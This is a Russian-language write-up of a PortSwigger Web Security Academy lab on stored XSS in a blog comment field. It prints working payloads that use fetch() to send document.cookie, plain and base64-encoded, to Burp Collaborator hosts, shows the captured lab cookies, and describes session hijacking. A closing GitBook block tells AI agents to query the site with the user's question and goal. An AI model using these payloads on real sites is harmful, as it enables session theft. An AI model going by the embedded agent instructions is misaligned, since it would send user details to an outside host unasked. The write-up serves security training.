> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/cookie-theft-via-xss.md).

# Кража cookie через XSS

Заметки по краже cookie через XSS для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Эксплуатация межсайтового скриптинга для кражи файлов cookie

В лабораторной работе уязвимость XSS хранится в функции комментариев блога. Пользователь-жертва просматривает комментарии после публикации. Учебная цель — понять, как внедрение на стороне клиента может привести к эксфильтрации сеансовой информации и как это защитить.

Поле комментария не применяет достаточное кодирование или экранирование для пользовательского ввода, позволяя браузеру внедрять содержимое, когда другой пользователь отображает страницу.

```javascript
<script>alert(0)</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

Мы используем `fetch` для выполнения запросов:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

Запрос поступает на сервер для прослушивания.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы отправляем cookie сеанса:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Затем мы заменяем cookie сеанса.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

Вы также можете закодировать содержимое в base64 перед отправкой:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
